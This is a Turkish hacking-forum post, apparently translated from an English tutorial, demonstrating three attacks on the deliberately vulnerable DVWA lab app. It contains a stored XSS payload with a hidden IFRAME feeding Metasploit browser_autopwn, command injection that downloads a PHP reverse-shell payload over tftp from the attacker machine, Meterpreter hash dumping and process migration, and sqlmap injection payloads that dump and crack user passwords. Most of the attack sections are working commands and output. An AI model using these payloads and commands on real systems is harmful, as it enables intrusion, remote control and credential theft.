Hacking Serisi #7 | Web Hacking/Giriş

Gauloran

Moderasyon Tim Lideri
7 Tem 2013
8,364
931
Blackwell Academy
Web Hacking/Giriş

Merhabalar konuya hoşgeldin. Bugün, web hackingin temelleri üzerine bir konu yazacağım. Öğrenme deneyimini daha keyifli hale getirmek için bir web güvenliği öğrenme platformu olarak tasarlanmış olan DVWA'yı kullanacağız. üç senaryo göstereceğim: (1) Kalıcı XSS ​​+ IFRAME, (2) Komut Yürütme ve (3) MySQL Injection. İncelenebilecek daha birçok test senaryosu var ama bunları okuyucunun kendisine bırakıyorum :)) . DVWA'yı buradan indirebilirsiniz. kurması oldukça kolaydır, bu yüzden kendiniz denemekten çekinmeyin…

Tamamdır şimdi gelelim en civcivli bölüme, iki sanal makine kullanacağım:
Saldıran: Backtrack 5 => 192.168.111.129
Kurban: Windows XP => 192.168.111.130

(1) Kalıcı XSS ​​+ IFRAME
Cross Site Scripting, her zaman geçerli bir saldırı vektörü olarak kabul edilmez, ancak kalıcı XSS'nin bazı kötü sonuçları olabileceğini göreceğiz. "Ziyaretçi Defterini İmzala" sayfasına göz atarak başlayacağız. Temizlenmemiş kullanıcı girdisi nedeniyle, istemci tarafı komut dosyalarını(client-side scripts) mesaj kutusuna enjekte edebiliyoruz. Bir IFRAME kullanarak, bu ziyaretçi defterini ziyaret eden herhangi bir kullanıcıyı kötü amaçlı sunucumuza yönlendirebiliriz. Aşağıdaki ekran görüntüsünde "innocent" -yani anlamı masum- olan bu mesajımızın gönderildiğini görebilirsiniz. Kullanılan "/innocent" yoluna dikkat etmelisiniz.

Kod:
 <iframe SRC = "http://192.168.111.129/innocent" height = ”0” width = ”0”>
dvwa_big1.png


Tamam şimdiye kadar her şey yolunda, şimdi kurbanımızın bağlanabileceği bir istemci taraflı exploit sunucusu kuralım. Öncelikle, Backtrack makinenizin halihazırda 80 numaralı bağlantı noktasını kullanmadığından emin olun (örneğin, bir Apache sunucusu barındırıyorsanız). Msfconsole'u çalıştırın ve browser_autopwn modülünü seçin, seçenekleri doğru şekilde yapılandırmaya dikkat edin. Aşağıda örnek yapılandırmamı görebilirsiniz (URI'yı doğru ayarladığınızdan emin olun)

Kod:
msf  auxiliary(browser_autopwn) > show options

Module options (auxiliary/server/browser_autopwn):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   LHOST       192.168.111.129  yes       The IP address to use for reverse-connect payloads
   SRVHOST     192.168.111.129  yes       The local host to listen on. 
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate
   SSLVersion  SSL3             no        Specify the version of SSL that should be used
   URIPATH     /innocent        no        The URI to use for this exploit (default is random)
   
msf  auxiliary(browser_autopwn) > exploit
[*] Auxiliary module execution completed
[*] Setup
[*] Obfuscating initial javascript 2011-11-09 05:36:52 +0100
[*] Done in 1.041111216 seconds
[*] Starting exploit modules on host 192.168.111.129...
[*] ---
[*] Starting exploit multi/browser/firefox_escape_retval with payload  generic/shell_reverse_tcp
[*] Using URL:  http://192.168.111.129:80/EKlBI
[*] Server started.
[*] Starting exploit  multi/browser/java_calendar_deserialize with payload  java/meterpreter/reverse_tcp
[*] Using URL:  http://192.168.111.129:80/hhbLra
[*] Server started.
[*] Starting exploit  multi/browser/java_trusted_chain with payload  java/meterpreter/reverse_tcp
[*] Using URL:  http://192.168.111.129:80/JaTFlOKmWUq

[...snip...]
[*] --- Done, found 23 exploit modules
[*] Using URL: http://192.168.111.129:80/innocent
[*] Server started.
Mükemmel, her şey ayarlandı. Şimdi tek yapmamız gereken, şüphelenmeyen kurbanımızın Ziyaretçi Defteri sayfasını görmesini beklemek. Aşağıdaki ekran görüntüsünde de görebileceğiniz gibi, kurbanımız sayfayı görüntülediğinde, gönderimiz hakkında kötü niyetli hiçbir şeyi göremez (isterseniz IFRAME'inizden önce gerçek bir mesaj bile ekleyebilirsiniz). Kurbanımız shell erişimi elde etmek için tarayıcı açıklarından yararlanan sunucumuza yönlendirilir. Oyun bitti!!

dvwa_big2.png


Kod:
[*] Using URL: http://192.168.111.129:80/innocent
[*] Server  started.
[*] 192.168.111.130  Browser Autopwn request '/innocent'
[*]  192.168.111.130  Browser Autopwn request 
     '/innocent?sessid=TWljcm9zb2Z0IFdpbmRvd3M6WFA6U1AwOmVuLXVzOng4NjpNU0lFOjYuMDo%3d'
[*]  192.168.111.130  JavaScript Report: Microsoft  Windows:XP:SP0:en-us:x86:MSIE:6.0:
[*] Responding with exploits
[*]  Sending MS03-020 Internet Explorer Object Type to  192.168.111.130:1083...
[*] Sending Internet Explorer DHTML Behaviors Use  After Free to 192.168.111.130:1084 (target: IE 6 
    SP0-SP2 (onclick))...
[*] Sending stage (752128 bytes) to  192.168.111.130
[*] Meterpreter session 1 opened (192.168.111.129:3333  -> 192.168.111.130:1085) at 2011-11-09 
    05:38:35 +0100
[*] Session ID 1 (192.168.111.129:3333 -> 192.168.111.130:1085) processing InitialAutoRunScript 
    'migrate -f'
[*] Current server process: iexplore.exe (3460)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3684
[+] Successfully migrated to process 

msf  auxiliary(browser_autopwn) > sessions -l

Active sessions
===============

  Id  Type                   Information                              Connection
  --  ----                   -----------                              ----------
  1   meterpreter x86/win32  FLUXX-J18BEF9YQ\Owner @ FLUXX-J18BEF9YQ  192.168.111.129:3333 -> 
                                                                      192.168.111.130:1085

msf  auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:fc4305db8da15f1e2404624e4bf5045f:bfcea702c343c38e5598448fd52782e8:::
Owner:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:d515e27c8b5a477fe5189a1377c6c7e2:::
meterpreter > ps

Process list
============

 PID   Name               Arch  Session  User                          Path
 ---   ----               ----  -------  ----                          ----
 0     [System Process]                                                
 1000  svchost.exe        x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\System32\svchost.exe
 1056  svchost.exe        x86   0        NT AUTHORITY\LOCAL SERVICE    C:\WINDOWS\System32\svchost.exe
 1340  explorer.exe       x86   0        FLUXX-J18BEF9YQ\Owner         C:\WINDOWS\Explorer.EXE

[...snip...]

 636   services.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe
 648   lsass.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe
 808   svchost.exe        x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\svchost.exe
 908   svchost.exe        x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\System32\svchost.exe

meterpreter > migrate 648
[*] Migrating to 648...
[*] Migration completed successfully.
meterpreter > shell
Process 3952 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.130
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

C:\WINDOWS\system32>...Game Over...
(2) Komut Yürütme

"Komut Yürütme" sekmesine göz atarsak, uzak makinelere ping atmamızı sağlayan küçük bir PHP yardımcı programı karşımıza çıkıyor. Daha sonra yardımcı programın birden fazla komutu "&" karakteriyle zincirleyerek çalıştırmasını sağlayabileceğinizi keşfettim. Bu konudaki son mevzumuz, uzaktan bir PHP exploitini yürütmektir. Bu nedenle, öncelikle kötü amaçlı payloadımızı uzak makineye(remote machine) aktarmanın bir yolunu bulmalıyız. Bunu yapmanın birçok yolu vardır: ftp, tftp,web tarayıcısı,… Neyle çalışmamız gerektiğine dair bir fikir edinmek için, uzak sunucuya yüklenmiş; programların ikili dosyalarını içeren bir C:\WINDOWS\system32 dizin listesi alabiliriz. Aşağıda görebileceğimiz gibi şanslıyız, tftp uzaktaki makineye kurulur (bu, etkileşimli olmayan komut satırı çalıştırma için en pratik transfer yöntemidir).

Kod:
& cd ../../../../../../../../WINDOWS/system32 & dir
Kod:
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
            [-r count] [-s count] [[-j host-list] | [-k host-list]]
            [-w timeout] target_name

Options:
    -t             Ping the specified host until stopped.
                   To see statistics and continue - type Control-Break;
                   To stop - type Control-C.
    -a             Resolve addresses to hostnames.
    -n count       Number of echo requests to send.
    -l size        Send buffer size.
    -f             Set Don't Fragment flag in packet.
    -i TTL         Time To Live.
    -v TOS         Type Of Service.
    -r count       Record route for count hops.
    -s count       Timestamp for count hops.
    -j host-list   Loose source route along host-list.
    -k host-list   Strict source route along host-list.
    -w timeout     Timeout in milliseconds to wait for each reply.

 Volume in drive C has no label.
 Volume Serial Number is 7833-0FA5

 Directory of C:\WINDOWS\system32

[...snip...]

08/29/2002  08:00 PM            71,168 telnet.exe
08/29/2002  08:00 PM           343,552 termmgr.dll
08/29/2002  08:00 PM           200,192 termsrv.dll
08/29/2002  08:00 PM            16,896 tftp.exe
08/29/2002  08:00 PM           384,000 themeui.dll
08/29/2002  08:00 PM            90,112 timedate.cpl
08/29/2002  08:00 PM             4,048 timer.drv

[...snip...]

08/29/2002  08:00 PM             9,728 xolehlp.dll
08/29/2002  08:00 PM           187,904 xpsp1res.dll
08/29/2002  08:00 PM           316,416 zipfldr.dll
            1635 File(s)    254,218,638 bytes
              39 Dir(s)   2,506,862,592 bytes free
PHP payloadımızı oluşturmak için Backtrack'a geri dönelim ve barındırmak için bir tftp sunucusu kuralım.

Kod:
root@bt:~# atftpd --daemon --port 69 /tmp/
root@bt:~# netstat -anup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
udp        0      0 192.168.111.129:53569   192.168.111.1:53        ESTABLISHED 1496/firefox-bin
udp        0      0 0.0.0.0:68              0.0.0.0:*                           1797/dhclient   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           1075/dhclient3  
udp        0      0 0.0.0.0:69              0.0.0.0:*                           2004/atftpd

root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 O

       Name: PHP Meterpreter, PHP Reverse TCP stager
     Module: payload/php/meterpreter/reverse_tcp
    Version: 12196, 12196
   Platform: PHP
       Arch: php
Needs Admin: No
 Total size: 1286
       Rank: Normal

Provided by:
  egypt <egypt@****sploit.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST  192.168.111.129  yes       The listen address
LPORT  9988             yes       The listen port

Description:
  Reverse PHP connect back stager with checks for disabled functions, 
  Run a meterpreter server in PHP

root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R > /tmp/evil.php
root@bt:~# ls -l /tmp/
total 28
drwx------ 2 root root 4096 2011-11-09 04:17 kde-root
drwx------ 2 root root 4096 2011-11-09 04:17 ksocket-root
drwx------ 2 root root 4096 2011-11-09 04:17 orbit-root
drwx------ 2 root root 4096 2011-11-09 04:17 pulse-3uavuaOb9vyJ
-rw------- 1 root root  141 2011-11-09 04:17 serverauth.pWwJb7S99J
drwx------ 2 root root 4096 2011-11-09 04:17 ssh-ZXZzWw1229
-rw-r--r-- 1 root root 1286 2011-11-09 04:44 evil.php
Tamam, hazırız, "Command Execution" yani komut yürütme sekmemize dönelim. Uzak makinenin, payloadı indirmek ve web root'a yerleştirmek için tftp'yi kullanmasını sağlayacağız. Xampp’in web root'unun C:\xampp\htdocs konumunda bulunduğunu unutmayın. Aşağıdaki ekran görüntüsünde görebileceğimiz gibi, payloadımız başarıyla indirildi. Bu tamamlandıktan sonra, http://192.168.111.130/evil.php'yi açmak için saldırganların tarayıcısını kullanabiliriz, bu daha sonra otomatik olarak payloadımızı çalıştıracaktır. Oyun bitti!!

Kod:
& cd c:\xampp\htdocs & tftp -i 192.168.111.129 GET evil.php
dvwa_big3.png


Kod:
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.111.129  yes       The listen address
   LPORT  9988             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > exploit
[*] Started reverse handler on 192.168.111.129:9988 
[*] Starting the  payload handler...
[*] Sending stage (38553 bytes) to 192.168.111.130
[*]  Meterpreter session 1 opened (192.168.111.129:9988 ->  192.168.111.130:1053) at 2011-11-09 
    05:16:13 +0100


meterpreter > shell
Process 3156 created.
Channel 0 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\xampp\apache>...Game Over...
(3) MySQL Injection

Konuyu tamamlamak için MySQL Injection'a bir göz atalım. Bu konuyu Backtrack'te takip etmek için Tamper Data adlı bir firefox eklentisi yüklemeniz gerekecek, bu eklenti HTTP / HTTPS başlıklarını ve POST parametrelerini yakalamanıza ve değiştirmenize olanak tanıyacaktır. ”SQL Injection” sekmesine gidin, Tamper Data'yı başlatın, alana bir sayı girin (1 ila 5 arasında) ve enter tuşuna basın. Tamper Data, bir isteği yakaladığı konusunda sizi uyaracak, devam etmesine izin verecek ve ardından verilerin içeriğini inceleyecektir. Aşağıdaki ekran görüntüsündeki gibi bir şey görmeniz lazım.

dvwa_big4.png


"Cookie" alanının tüm içeriğini kopyalayın. Bu verileri sqlmap için bir parametre olarak kullanacağız. Enjeksiyonu başarmak oldukça kolaydır, aşağıdaki kodları inceleyin…

Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py 
--url='http://192.168.111.130/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie='PHPSESSID=scmkpnhd6a9smq30rvjkse6ts0; security=low'

[...snip...]

sqlmap identified the following injection points with a total of 136 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 3474 FROM(SELECT COUNT(*),CONCAT(CHAR(58,106,112,117,58),(SELECT (CASE WHEN
   (3474=3474) THEN 1 ELSE 0 END)),CHAR(58,113,101,109,58),FLOOR(RAND(0)*2))x FROM 
    INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'iXZd'='iXZd&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=1' UNION ALL SELECT CONCAT(CHAR(58,106,112,117,58),IFNULL(CAST(CHAR(75,115,118,88,119,75,
    101,111,85,115) AS CHAR),CHAR(32)),CHAR(58,113,101,109,58)), NULL# AND 'fpda'='fpda&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'ZrXF'='ZrXF&Submit=Submit
---

[06:16:54] [INFO] manual usage of GET payloads requires url encoding
[06:16:54] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[06:16:54] [INFO] Fetched data logged to text files under /pentest/database/sqlmap/output/192.168.111.130
[*] shutting down at: 06:16:54
Böylelikle enjeksiyon başarılı olur, Tamper Data'dan kurtarılan verileri kullandığımızı görebilirsiniz (bunun cookie-data enjeksiyonu olmadan gerçekleştirilemeyeceğini unutmayın). Yukarıdaki komuta --dbs eklersek, aşağıda gösterildiği gibi mevcut veritabanlarının bir listesini alacağız.

Kod:
[...snip...]

[06:19:36] [INFO] fetching database names
available databases [8]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth

[...snip...]
Bazı numaralandırmalardan sonra, Veritabanı "dvwa" nın "kullanıcılar" adlı bir Tablo içerdiğini keşfettim. Bu Tablonun dökümü, kullanıcıların ve şifrelerinin bir listesini ortaya çıkarır. Daha sonra bu hash'lere yönelik bir sözlük saldırısı(dictionary based attack) çalıştırmaya başladım ve 30 saniyeden daha kısa bir sürede şifreleri çözüldü. Oyun bitti!!

Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py 
--url='http://192.168.111.130/vulnerabilities/sqli/?id=1&Submit=Submit#' 
--cookie='PHPSESSID=scmkpnhd6a9smq30rvjkse6ts0; security=low' -D dvwa -T users --dump

[...snip...]

+---------------------------------+------------+-----------+----------------------------------+---------+
| avatar                          | first_name | last_name | password                         | user    |
+---------------------------------+------------+-----------+----------------------------------+---------+
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 | admin   |
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy  |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo   |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337    |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 | gordonb |
+---------------------------------+------------+-----------+----------------------------------+---------+

+---------+      +------------+
| user    |      | passwords  |
+---------+      +------------+
| admin   | ===> |  password  |
| smithy  | ===> |  password  |
| pablo   | ===> |  letmein   |
| 1337    | ===> |  charley   |
| gordonb | ===> |  abc123    |
+---------+      +------------+
Source: https://www.fuzzysecurity.com/tutorials/4.html
Translator @Gauloran
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.